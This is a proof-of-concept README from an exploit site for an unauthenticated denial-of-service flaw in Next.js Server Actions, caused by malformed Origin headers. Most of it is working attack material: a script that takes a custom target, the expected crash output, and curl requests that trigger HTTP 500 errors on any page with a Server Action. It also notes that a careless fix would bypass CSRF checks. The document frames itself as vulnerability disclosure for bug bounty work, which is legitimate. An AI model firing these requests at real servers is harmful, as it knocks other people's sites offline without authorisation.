## https://sploitus.com/exploit?id=F6758A6A-E38D-5C49-B4E6-6DFAC222274A
# Next.js Server Actions DoS โ PoC
**Vulnerability**: Unhandled `TypeError` in Server Actions CSRF validation
**Affected**: `next@15.5.15` (stable) ยท canary / v16.2.3 (partial)
**Impact**: Unauthenticated HTTP 500 DoS on any page with a Server Action
**Root cause**: `new URL(originHeader).host` in `action-handler.ts` has no try-catch
---
## Setup
```bash
npm install
npm run build
npm run start # starts on http://localhost:3000
```
> Requires Node.js 18+ and npm 9+.
---
## Run the PoC
In a second terminal:
```bash
./poc.sh # targets http://localhost:3000
./poc.sh http://your-server:3000 # custom target
```
Expected output:
```
==> Baseline โ GET / (expect 200)
[PASS] GET / returned 200 (server is up)
==> Attack 1 โ Origin: http:// (malformed URL, all versions)
[PASS] HTTP 500 โ TypeError: Invalid URL triggered (DoS confirmed)
==> Attack 1b โ Origin: ftp://
[PASS] HTTP 500 โ DoS confirmed with ftp:// origin
==> Attack 1c โ Origin: not-a-url
[PASS] HTTP 500 โ DoS confirmed with bare string origin
==> Attack 2 โ Origin: null (v15.5.x only)
[PASS] HTTP 500 โ Origin: null crash confirmed (v15.5.x, not yet patched)
==> Sanity check โ legitimate Origin (expect 200 or 403, NOT 500)
[PASS] HTTP 403 โ normal origin not affected
```
Server stderr will show:
```
TypeError: Invalid URL
at new URL ()
at handleAction (.../app-render/action-handler.ts:574:13)
at async renderToHTMLOrFlightImpl (...)
...
```
---
## Manual curl
```bash
# Attack 1: malformed URL (all versions)
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----PoC" \
-H "Origin: http://" \
--data-binary $'------PoC--\r\n' \
-v
# Attack 2: Origin: null (v15.5.x stable only)
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----PoC" \
-H "Origin: null" \
--data-binary $'------PoC--\r\n' \
-v
```
---
## Why no `Next-Action` header?
The crash occurs on the `isMultipartAction` code path
(`Content-Type: multipart/form-data` is sufficient). `Next-Action` is only
required for the `isFetchAction` path. The attacker needs zero knowledge of
the application's action IDs.
---
## Why is the fix non-trivial?
A naive `try { return new URL(x).host } catch { return null }` would silently
push execution into the **"missing origin"** fast-path, which **skips CSRF
validation entirely** โ introducing a CSRF bypass analogous to
CVE-2026-27977/CVE-2026-27978. The catch block must return a sentinel value
that is guaranteed to fail the host comparison.
---
## Scope
This PoC is intended for:
- Local testing against your own Next.js deployment
- Submission to [Vercel OSS Bug Bounty](https://hackerone.com/vercel-open-source)
**Do not use against production systems you do not own.**